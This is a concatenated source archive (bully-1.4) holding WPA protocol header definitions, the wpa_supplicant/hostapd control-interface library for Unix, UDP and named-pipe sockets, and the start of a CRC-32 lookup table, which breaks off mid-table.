WPA Pairwise Transient Key * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy */ struct wpa_ptk { u8 kck[16]; /* EAPOL-Key Key Confirmation Key (KCK) */ u8 kek[16]; /* EAPOL-Key Key Encryption Key (KEK) */ u8 tk1[16]; /* Temporal Key 1 (TK1) */ union { u8 tk2[16]; /* Temporal Key 2 (TK2) */ struct { u8 tx_mic_key[8]; u8 rx_mic_key[8]; } auth; } u; } STRUCT_PACKED; /* WPA IE version 1 * 00-50-f2:1 (OUI:OUI type) * 0x01 0x00 (version; little endian) * (all following fields are optional:) * Group Suite Selector (4 octets) (default: TKIP) * Pairwise Suite Count (2 octets, little endian) (default: 1) * Pairwise Suite List (4 * n octets) (default: TKIP) * Authenticated Key Management Suite Count (2 octets, little endian) * (default: 1) * Authenticated Key Management Suite List (4 * n octets) * (default: unspec 802.1X) * WPA Capabilities (2 octets, little endian) (default: 0) */ struct wpa_ie_hdr { u8 elem_id; u8 len; u8 oui[4]; /* 24-bit OUI followed by 8-bit OUI type */ u8 version[2]; /* little endian */ } STRUCT_PACKED; /* 1/4: PMKID * 2/4: RSN IE * 3/4: one or two RSN IEs + GTK IE (encrypted) * 4/4: empty * 1/2: GTK IE (encrypted) * 2/2: empty */ /* RSN IE version 1 * 0x01 0x00 (version; little endian) * (all following fields are optional:) * Group Suite Selector (4 octets) (default: CCMP) * Pairwise Suite Count (2 octets, little endian) (default: 1) * Pairwise Suite List (4 * n octets) (default: CCMP) * Authenticated Key Management Suite Count (2 octets, little endian) * (default: 1) * Authenticated Key Management Suite List (4 * n octets) * (default: unspec 802.1X) * RSN Capabilities (2 octets, little endian) (default: 0) * PMKID Count (2 octets) (default: 0) * PMKID List (16 * n octets) * Management Group Cipher Suite (4 octets) (default: AES-128-CMAC) */ struct rsn_ie_hdr { u8 elem_id; /* WLAN_EID_RSN */ u8 len; u8 version[2]; /* little endian */ } STRUCT_PACKED; #ifdef CONFIG_PEERKEY enum { STK_MUI_4WAY_STA_AP = 1, STK_MUI_4WAY_STAT_STA = 2, STK_MUI_GTK = 3, STK_MUI_SMK = 4 }; enum { STK_ERR_STA_NR = 1, STK_ERR_STA_NRSN = 2, STK_ERR_CPHR_NS = 3, STK_ERR_NO_STSL = 4 }; #endif /* CONFIG_PEERKEY */ struct rsn_error_kde { be16 mui; be16 error_type; } STRUCT_PACKED; #ifdef CONFIG_IEEE80211W struct wpa_igtk_kde { u8 keyid[2]; u8 pn[6]; u8 igtk[WPA_IGTK_LEN]; } STRUCT_PACKED; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R struct rsn_mdie { u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; u8 ft_capab; } STRUCT_PACKED; #define RSN_FT_CAPAB_FT_OVER_DS BIT(0) #define RSN_FT_CAPAB_FT_RESOURCE_REQ_SUPP BIT(1) struct rsn_ftie { u8 mic_control[2]; u8 mic[16]; u8 anonce[WPA_NONCE_LEN]; u8 snonce[WPA_NONCE_LEN]; /* followed by optional parameters */ } STRUCT_PACKED; #define FTIE_SUBELEM_R1KH_ID 1 #define FTIE_SUBELEM_GTK 2 #define FTIE_SUBELEM_R0KH_ID 3 #define FTIE_SUBELEM_IGTK 4 struct rsn_rdie { u8 id; u8 descr_count; le16 status_code; } STRUCT_PACKED; #endif /* CONFIG_IEEE80211R */ #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len, u8 *mic); void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label, const u8 *addr1, const u8 *addr2, const u8 *nonce1, const u8 *nonce2, u8 *ptk, size_t ptk_len, int use_sha256); #ifdef CONFIG_IEEE80211R int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr, u8 transaction_seqnum, const u8 *mdie, size_t mdie_len, const u8 *ftie, size_t ftie_len, const u8 *rsnie, size_t rsnie_len, const u8 *ric, size_t ric_len, u8 *mic); void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len, const u8 *ssid, size_t ssid_len, const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name); void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1_name); void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1, u8 *pmk_r1_name); void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce, const u8 *sta_addr, const u8 *bssid, const u8 *pmk_r1_name, u8 *ptk, size_t ptk_len, u8 *ptk_name); #endif /* CONFIG_IEEE80211R */ struct wpa_ie_data { int proto; int pairwise_cipher; int group_cipher; int key_mgmt; int capabilities; size_t num_pmkid; const u8 *pmkid; int mgmt_group_cipher; }; int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len, struct wpa_ie_data *data); void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa, u8 *pmkid, int use_sha256); const char * wpa_cipher_txt(int cipher); const char * wpa_key_mgmt_txt(int key_mgmt, int proto); int wpa_compare_rsn_ie(int ft_initial_assoc, const u8 *ie1, size_t ie1len, const u8 *ie2, size_t ie2len); int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid); #endif /* WPA_COMMON_H */ bully-1.4-00/src/common/wpa_ctrl.c000077500000000000000000000232031361530463600167720ustar00rootroot00000000000000/* * wpa_supplicant/hostapd control interface library * Copyright (c) 2004-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #ifdef CONFIG_CTRL_IFACE #ifdef CONFIG_CTRL_IFACE_UNIX #include #endif /* CONFIG_CTRL_IFACE_UNIX */ #include "wpa_ctrl.h" #include "common.h" #if defined(CONFIG_CTRL_IFACE_UNIX) || defined(CONFIG_CTRL_IFACE_UDP) #define CTRL_IFACE_SOCKET #endif /* CONFIG_CTRL_IFACE_UNIX || CONFIG_CTRL_IFACE_UDP */ /** * struct wpa_ctrl - Internal structure for control interface library * * This structure is used by the wpa_supplicant/hostapd control interface * library to store internal data. Programs using the library should not touch * this data directly. They can only use the pointer to the data structure as * an identifier for the control interface connection and use this as one of * the arguments for most of the control interface library functions. */ struct wpa_ctrl { #ifdef CONFIG_CTRL_IFACE_UDP int s; struct sockaddr_in local; struct sockaddr_in dest; char *cookie; #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef CONFIG_CTRL_IFACE_UNIX int s; struct sockaddr_un local; struct sockaddr_un dest; #endif /* CONFIG_CTRL_IFACE_UNIX */ #ifdef CONFIG_CTRL_IFACE_NAMED_PIPE HANDLE pipe; #endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */ }; #ifdef CONFIG_CTRL_IFACE_UNIX struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; static int counter = 0; int ret; size_t res; int tries = 0; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); ctrl->s = socket(PF_UNIX, SOCK_DGRAM, 0); if (ctrl->s < 0) { os_free(ctrl); return NULL; } ctrl->local.sun_family = AF_UNIX; counter++; try_again: ret = os_snprintf(ctrl->local.sun_path, sizeof(ctrl->local.sun_path), "/tmp/wpa_ctrl_%d-%d", getpid(), counter); if (ret < 0 || (size_t) ret >= sizeof(ctrl->local.sun_path)) { close(ctrl->s); os_free(ctrl); return NULL; } tries++; if (bind(ctrl->s, (struct sockaddr *) &ctrl->local, sizeof(ctrl->local)) < 0) { if (errno == EADDRINUSE && tries < 2) { /* * getpid() returns unique identifier for this instance * of wpa_ctrl, so the existing socket file must have * been left by unclean termination of an earlier run. * Remove the file and try again. */ unlink(ctrl->local.sun_path); goto try_again; } close(ctrl->s); os_free(ctrl); return NULL; } ctrl->dest.sun_family = AF_UNIX; res = os_strlcpy(ctrl->dest.sun_path, ctrl_path, sizeof(ctrl->dest.sun_path)); if (res >= sizeof(ctrl->dest.sun_path)) { close(ctrl->s); os_free(ctrl); return NULL; } if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest, sizeof(ctrl->dest)) < 0) { close(ctrl->s); unlink(ctrl->local.sun_path); os_free(ctrl); return NULL; } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { unlink(ctrl->local.sun_path); close(ctrl->s); os_free(ctrl); } #endif /* CONFIG_CTRL_IFACE_UNIX */ #ifdef CONFIG_CTRL_IFACE_UDP struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; char buf[128]; size_t len; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); ctrl->s = socket(PF_INET, SOCK_DGRAM, 0); if (ctrl->s < 0) { perror("socket"); os_free(ctrl); return NULL; } ctrl->local.sin_family = AF_INET; ctrl->local.sin_addr.s_addr = htonl((127 << 24) | 1); if (bind(ctrl->s, (struct sockaddr *) &ctrl->local, sizeof(ctrl->local)) < 0) { close(ctrl->s); os_free(ctrl); return NULL; } ctrl->dest.sin_family = AF_INET; ctrl->dest.sin_addr.s_addr = htonl((127 << 24) | 1); ctrl->dest.sin_port = htons(WPA_CTRL_IFACE_PORT); if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest, sizeof(ctrl->dest)) < 0) { perror("connect"); close(ctrl->s); os_free(ctrl); return NULL; } len = sizeof(buf) - 1; if (wpa_ctrl_request(ctrl, "GET_COOKIE", 10, buf, &len, NULL) == 0) { buf[len] = '\0'; ctrl->cookie = os_strdup(buf); } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { close(ctrl->s); os_free(ctrl->cookie); os_free(ctrl); } #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef CTRL_IFACE_SOCKET int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)) { struct timeval tv; int res; fd_set rfds; const char *_cmd; char *cmd_buf = NULL; size_t _cmd_len; #ifdef CONFIG_CTRL_IFACE_UDP if (ctrl->cookie) { char *pos; _cmd_len = os_strlen(ctrl->cookie) + 1 + cmd_len; cmd_buf = os_malloc(_cmd_len); if (cmd_buf == NULL) return -1; _cmd = cmd_buf; pos = cmd_buf; os_strlcpy(pos, ctrl->cookie, _cmd_len); pos += os_strlen(ctrl->cookie); *pos++ = ' '; os_memcpy(pos, cmd, cmd_len); } else #endif /* CONFIG_CTRL_IFACE_UDP */ { _cmd = cmd; _cmd_len = cmd_len; } if (send(ctrl->s, _cmd, _cmd_len, 0) < 0) { os_free(cmd_buf); return -1; } os_free(cmd_buf); for (;;) { tv.tv_sec = 2; tv.tv_usec = 0; FD_ZERO(&rfds); FD_SET(ctrl->s, &rfds); res = select(ctrl->s + 1, &rfds, NULL, NULL, &tv); if (FD_ISSET(ctrl->s, &rfds)) { res = recv(ctrl->s, reply, *reply_len, 0); if (res < 0) return res; if (res > 0 && reply[0] == '<') { /* This is an unsolicited message from * wpa_supplicant, not the reply to the * request. Use msg_cb to report this to the * caller. */ if (msg_cb) { /* Make sure the message is nul * terminated. */ if ((size_t) res == *reply_len) res = (*reply_len) - 1; reply[res] = '\0'; msg_cb(reply, res); } continue; } *reply_len = res; break; } else { return -2; } } return 0; } #endif /* CTRL_IFACE_SOCKET */ static int wpa_ctrl_attach_helper(struct wpa_ctrl *ctrl, int attach) { char buf[10]; int ret; size_t len = 10; ret = wpa_ctrl_request(ctrl, attach ? "ATTACH" : "DETACH", 6, buf, &len, NULL); if (ret < 0) return ret; if (len == 3 && os_memcmp(buf, "OK\n", 3) == 0) return 0; return -1; } int wpa_ctrl_attach(struct wpa_ctrl *ctrl) { return wpa_ctrl_attach_helper(ctrl, 1); } int wpa_ctrl_detach(struct wpa_ctrl *ctrl) { return wpa_ctrl_attach_helper(ctrl, 0); } #ifdef CTRL_IFACE_SOCKET int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len) { int res; res = recv(ctrl->s, reply, *reply_len, 0); if (res < 0) return res; *reply_len = res; return 0; } int wpa_ctrl_pending(struct wpa_ctrl *ctrl) { struct timeval tv; fd_set rfds; tv.tv_sec = 0; tv.tv_usec = 0; FD_ZERO(&rfds); FD_SET(ctrl->s, &rfds); select(ctrl->s + 1, &rfds, NULL, NULL, &tv); return FD_ISSET(ctrl->s, &rfds); } int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl) { return ctrl->s; } #endif /* CTRL_IFACE_SOCKET */ #ifdef CONFIG_CTRL_IFACE_NAMED_PIPE #ifndef WPA_SUPPLICANT_NAMED_PIPE #define WPA_SUPPLICANT_NAMED_PIPE "WpaSupplicant" #endif #define NAMED_PIPE_PREFIX TEXT("\\\\.\\pipe\\") TEXT(WPA_SUPPLICANT_NAMED_PIPE) struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; DWORD mode; TCHAR name[256]; int i, ret; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); #ifdef UNICODE if (ctrl_path == NULL) ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX); else ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX TEXT("-%S"), ctrl_path); #else /* UNICODE */ if (ctrl_path == NULL) ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX); else ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX "-%s", ctrl_path); #endif /* UNICODE */ if (ret < 0 || ret >= 256) { os_free(ctrl); return NULL; } for (i = 0; i < 10; i++) { ctrl->pipe = CreateFile(name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); /* * Current named pipe server side in wpa_supplicant is * re-opening the pipe for new clients only after the previous * one is taken into use. This leaves a small window for race * conditions when two connections are being opened at almost * the same time. Retry if that was the case. */ if (ctrl->pipe != INVALID_HANDLE_VALUE || GetLastError() != ERROR_PIPE_BUSY) break; WaitNamedPipe(name, 1000); } if (ctrl->pipe == INVALID_HANDLE_VALUE) { os_free(ctrl); return NULL; } mode = PIPE_READMODE_MESSAGE; if (!SetNamedPipeHandleState(ctrl->pipe, &mode, NULL, NULL)) { CloseHandle(ctrl->pipe); os_free(ctrl); return NULL; } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { CloseHandle(ctrl->pipe); os_free(ctrl); } int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)) { DWORD written; DWORD readlen = *reply_len; if (!WriteFile(ctrl->pipe, cmd, cmd_len, &written, NULL)) return -1; if (!ReadFile(ctrl->pipe, reply, *reply_len, &readlen, NULL)) return -1; *reply_len = readlen; return 0; } int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len) { DWORD len = *reply_len; if (!ReadFile(ctrl->pipe, reply, *reply_len, &len, NULL)) return -1; *reply_len = len; return 0; } int wpa_ctrl_pending(struct wpa_ctrl *ctrl) { DWORD left; if (!PeekNamedPipe(ctrl->pipe, NULL, 0, NULL, &left, NULL)) return -1; return left ? 1 : 0; } int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl) { return -1; } #endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */ #endif /* CONFIG_CTRL_IFACE */ bully-1.4-00/src/common/wpa_ctrl.h000077500000000000000000000226301361530463600170020ustar00rootroot00000000000000/* * wpa_supplicant/hostapd control interface library * Copyright (c) 2004-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_CTRL_H #define WPA_CTRL_H #ifdef __cplusplus extern "C" { #endif /* wpa_supplicant control interface - fixed message prefixes */ /** Interactive request for identity/password/pin */ #define WPA_CTRL_REQ "CTRL-REQ-" /** Response to identity/password/pin request */ #define WPA_CTRL_RSP "CTRL-RSP-" /* Event messages with fixed prefix */ /** Authentication completed successfully and data connection enabled */ #define WPA_EVENT_CONNECTED "CTRL-EVENT-CONNECTED " /** Disconnected, data connection is not available */ #define WPA_EVENT_DISCONNECTED "CTRL-EVENT-DISCONNECTED " /** wpa_supplicant is exiting */ #define WPA_EVENT_TERMINATING "CTRL-EVENT-TERMINATING " /** Password change was completed successfully */ #define WPA_EVENT_PASSWORD_CHANGED "CTRL-EVENT-PASSWORD-CHANGED " /** EAP-Request/Notification received */ #define WPA_EVENT_EAP_NOTIFICATION "CTRL-EVENT-EAP-NOTIFICATION " /** EAP authentication started (EAP-Request/Identity received) */ #define WPA_EVENT_EAP_STARTED "CTRL-EVENT-EAP-STARTED " /** EAP method proposed by the server */ #define WPA_EVENT_EAP_PROPOSED_METHOD "CTRL-EVENT-EAP-PROPOSED-METHOD " /** EAP method selected */ #define WPA_EVENT_EAP_METHOD "CTRL-EVENT-EAP-METHOD " /** EAP peer certificate from TLS */ #define WPA_EVENT_EAP_PEER_CERT "CTRL-EVENT-EAP-PEER-CERT " /** EAP TLS certificate chain validation error */ #define WPA_EVENT_EAP_TLS_CERT_ERROR "CTRL-EVENT-EAP-TLS-CERT-ERROR " /** EAP authentication completed successfully */ #define WPA_EVENT_EAP_SUCCESS "CTRL-EVENT-EAP-SUCCESS " /** EAP authentication failed (EAP-Failure received) */ #define WPA_EVENT_EAP_FAILURE "CTRL-EVENT-EAP-FAILURE " /** New scan results available */ #define WPA_EVENT_SCAN_RESULTS "CTRL-EVENT-SCAN-RESULTS " /** A new BSS entry was added (followed by BSS entry id and BSSID) */ #define WPA_EVENT_BSS_ADDED "CTRL-EVENT-BSS-ADDED " /** A BSS entry was removed (followed by BSS entry id and BSSID) */ #define WPA_EVENT_BSS_REMOVED "CTRL-EVENT-BSS-REMOVED " /** WPS overlap detected in PBC mode */ #define WPS_EVENT_OVERLAP "WPS-OVERLAP-DETECTED " /** Available WPS AP with active PBC found in scan results */ #define WPS_EVENT_AP_AVAILABLE_PBC "WPS-AP-AVAILABLE-PBC " /** Available WPS AP with recently selected PIN registrar found in scan results */ #define WPS_EVENT_AP_AVAILABLE_PIN "WPS-AP-AVAILABLE-PIN " /** Available WPS AP found in scan results */ #define WPS_EVENT_AP_AVAILABLE "WPS-AP-AVAILABLE " /** A new credential received */ #define WPS_EVENT_CRED_RECEIVED "WPS-CRED-RECEIVED " /** M2D received */ #define WPS_EVENT_M2D "WPS-M2D " /** WPS registration failed after M2/M2D */ #define WPS_EVENT_FAIL "WPS-FAIL " /** WPS registration completed successfully */ #define WPS_EVENT_SUCCESS "WPS-SUCCESS " /** WPS enrollment attempt timed out and was terminated */ #define WPS_EVENT_TIMEOUT "WPS-TIMEOUT " #define WPS_EVENT_ENROLLEE_SEEN "WPS-ENROLLEE-SEEN " /* WPS ER events */ #define WPS_EVENT_ER_AP_ADD "WPS-ER-AP-ADD " #define WPS_EVENT_ER_AP_REMOVE "WPS-ER-AP-REMOVE " #define WPS_EVENT_ER_ENROLLEE_ADD "WPS-ER-ENROLLEE-ADD " #define WPS_EVENT_ER_ENROLLEE_REMOVE "WPS-ER-ENROLLEE-REMOVE " /* hostapd control interface - fixed message prefixes */ #define WPS_EVENT_PIN_NEEDED "WPS-PIN-NEEDED " #define WPS_EVENT_NEW_AP_SETTINGS "WPS-NEW-AP-SETTINGS " #define WPS_EVENT_REG_SUCCESS "WPS-REG-SUCCESS " #define WPS_EVENT_AP_SETUP_LOCKED "WPS-AP-SETUP-LOCKED " #define WPS_EVENT_AP_SETUP_UNLOCKED "WPS-AP-SETUP-UNLOCKED " #define WPS_EVENT_AP_PIN_ENABLED "WPS-AP-PIN-ENABLED " #define WPS_EVENT_AP_PIN_DISABLED "WPS-AP-PIN-DISABLED " #define AP_STA_CONNECTED "AP-STA-CONNECTED " #define AP_STA_DISCONNECTED "AP-STA-DISCONNECTED " /* wpa_supplicant/hostapd control interface access */ /** * wpa_ctrl_open - Open a control interface to wpa_supplicant/hostapd * @ctrl_path: Path for UNIX domain sockets; ignored if UDP sockets are used. * Returns: Pointer to abstract control interface data or %NULL on failure * * This function is used to open a control interface to wpa_supplicant/hostapd. * ctrl_path is usually /var/run/wpa_supplicant or /var/run/hostapd. This path * is configured in wpa_supplicant/hostapd and other programs using the control * interface need to use matching path configuration. */ struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path); /** * wpa_ctrl_close - Close a control interface to wpa_supplicant/hostapd * @ctrl: Control interface data from wpa_ctrl_open() * * This function is used to close a control interface. */ void wpa_ctrl_close(struct wpa_ctrl *ctrl); /** * wpa_ctrl_request - Send a command to wpa_supplicant/hostapd * @ctrl: Control interface data from wpa_ctrl_open() * @cmd: Command; usually, ASCII text, e.g., "PING" * @cmd_len: Length of the cmd in bytes * @reply: Buffer for the response * @reply_len: Reply buffer length * @msg_cb: Callback function for unsolicited messages or %NULL if not used * Returns: 0 on success, -1 on error (send or receive failed), -2 on timeout * * This function is used to send commands to wpa_supplicant/hostapd. Received * response will be written to reply and reply_len is set to the actual length * of the reply. This function will block for up to two seconds while waiting * for the reply. If unsolicited messages are received, the blocking time may * be longer. * * msg_cb can be used to register a callback function that will be called for * unsolicited messages received while waiting for the command response. These * messages may be received if wpa_ctrl_request() is called at the same time as * wpa_supplicant/hostapd is sending such a message. This can happen only if * the program has used wpa_ctrl_attach() to register itself as a monitor for * event messages. Alternatively to msg_cb, programs can register two control * interface connections and use one of them for commands and the other one for * receiving event messages, in other words, call wpa_ctrl_attach() only for * the control interface connection that will be used for event messages. */ int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)); /** * wpa_ctrl_attach - Register as an event monitor for the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 0 on success, -1 on failure, -2 on timeout * * This function registers the control interface connection as a monitor for * wpa_supplicant/hostapd events. After a success wpa_ctrl_attach() call, the * control interface connection starts receiving event messages that can be * read with wpa_ctrl_recv(). */ int wpa_ctrl_attach(struct wpa_ctrl *ctrl); /** * wpa_ctrl_detach - Unregister event monitor from the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 0 on success, -1 on failure, -2 on timeout * * This function unregisters the control interface connection as a monitor for * wpa_supplicant/hostapd events, i.e., cancels the registration done with * wpa_ctrl_attach(). */ int wpa_ctrl_detach(struct wpa_ctrl *ctrl); /** * wpa_ctrl_recv - Receive a pending control interface message * @ctrl: Control interface data from wpa_ctrl_open() * @reply: Buffer for the message data * @reply_len: Length of the reply buffer * Returns: 0 on success, -1 on failure * * This function will receive a pending control interface message. This * function will block if no messages are available. The received response will * be written to reply and reply_len is set to the actual length of the reply. * wpa_ctrl_recv() is only used for event messages, i.e., wpa_ctrl_attach() * must have been used to register the control interface as an event monitor. */ int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len); /** * wpa_ctrl_pending - Check whether there are pending event messages * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 1 if there are pending messages, 0 if no, or -1 on error * * This function will check whether there are any pending control interface * message available to be received with wpa_ctrl_recv(). wpa_ctrl_pending() is * only used for event messages, i.e., wpa_ctrl_attach() must have been used to * register the control interface as an event monitor. */ int wpa_ctrl_pending(struct wpa_ctrl *ctrl); /** * wpa_ctrl_get_fd - Get file descriptor used by the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: File descriptor used for the connection * * This function can be used to get the file descriptor that is used for the * control interface connection. The returned value can be used, e.g., with * select() while waiting for multiple events. * * The returned file descriptor must not be used directly for sending or * receiving packets; instead, the library functions wpa_ctrl_request() and * wpa_ctrl_recv() must be used for this. */ int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl); #ifdef CONFIG_CTRL_IFACE_UDP #define WPA_CTRL_IFACE_PORT 9877 #define WPA_GLOBAL_CTRL_IFACE_PORT 9878 #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef __cplusplus } #endif #endif /* WPA_CTRL_H */ bully-1.4-00/src/crc32.c000077500000000000000000000162221361530463600146060ustar00rootroot00000000000000/**********************************************************************\ |* Demonstration program to compute the 32-bit CRC used as the frame *| |* check sequence in ADCCP (ANSI X3.66, also known as FIPS PUB 71 *| |* and FED-STD-1003, the U.S. versions of CCITT's X.25 link-level *| |* protocol). The 32-bit FCS was added via the Federal Register, *| |* 1 June 1982, p.23798. I presume but don't know for certain that *| |* this polynomial is or will be included in CCITT V.41, which *| |* defines the 16-bit CRC (often called CRC-CCITT) polynomial. FIPS *| |* PUB 78 says that the 32-bit FCS reduces otherwise undetected *| |* errors by a factor of 10^-5 over 16-bit FCS. *| \**********************************************************************/ /* Copyright (C) 1986 Gary S. Brown. You may use this program, or code or tables extracted from it, as desired without restriction.*/ /* First, the polynomial itself and its table of feedback terms. The */ /* polynomial is */ /* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 */ /* Note that we take it "backwards" and put the highest-order term in */ /* the lowest-order bit. The X^32 term is "implied"; the LSB is the */ /* X^31 term, etc. The X^0 term (usually shown as "+1") results in */ /* the MSB being 1. */ /* Note that the usual hardware shift register implementation, which */ /* is what we're using (we're merely optimizing it by doing eight-bit */ /* chunks at a time) shifts bits into the lowest-order term. In our */ /* implementation, that means shifting towards the right. Why do we */ /* do it this way? Because the calculated CRC must be transmitted in */ /* order from highest-order term to lowest-order term. UARTs transmit */ /* characters in order from LSB to MSB. By storing the CRC this way, */ /* we hand it to the UART in the order low-byte to high-byte; the UART */ /* sends each low-bit to hight-bit; and the result is transmission bit */ /* by bit from highest- to lowest-order term without requiring any bit */ /* shuffling on our part. Reception works similarly. */ /* The feedback terms table consists of 256, 32-bit entries. Notes: */ /* */ /* 1. The table can be generated at runtime if desired; code to do so */ /* is shown later. It might not be obvious, but the feedback */ /* terms simply represent the results of eight shift/xor opera- */ /* tions for all combinations of data and CRC register values. */ /* */ /* 2. The CRC accumulation logic is the same for all CRC polynomials, */ /* be they sixteen or thirty-two bits wide. You simply choose the */ /* appropriate table. Alternatively, because the table can be */ /* generated at runtime, you can start by generating the table for */ /* the polynomial in question and use exactly the same "updcrc", */ /* if your application needn't simultaneously handle two CRC */ /* polynomials. (Note, however, that XMODEM is strange.) */ /* */ /* 3. For 16-bit CRCs, the table entries need be only 16 bits wide; */ /* of course, 32-bit entries work OK if the high 16 bits are zero. */ /* */ /* 4. The values must be right-shifted by eight bits by the "updcrc" */ /* logic; the shift must be unsigned (bring in zeroes). On some */ /* hardware you could probably optimize the shift in assembler by */ /* using byte-swap instructions. */ static const uint32_t crc_32_tab[] = { /* CRC polynomial 0xedb88320 */ 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 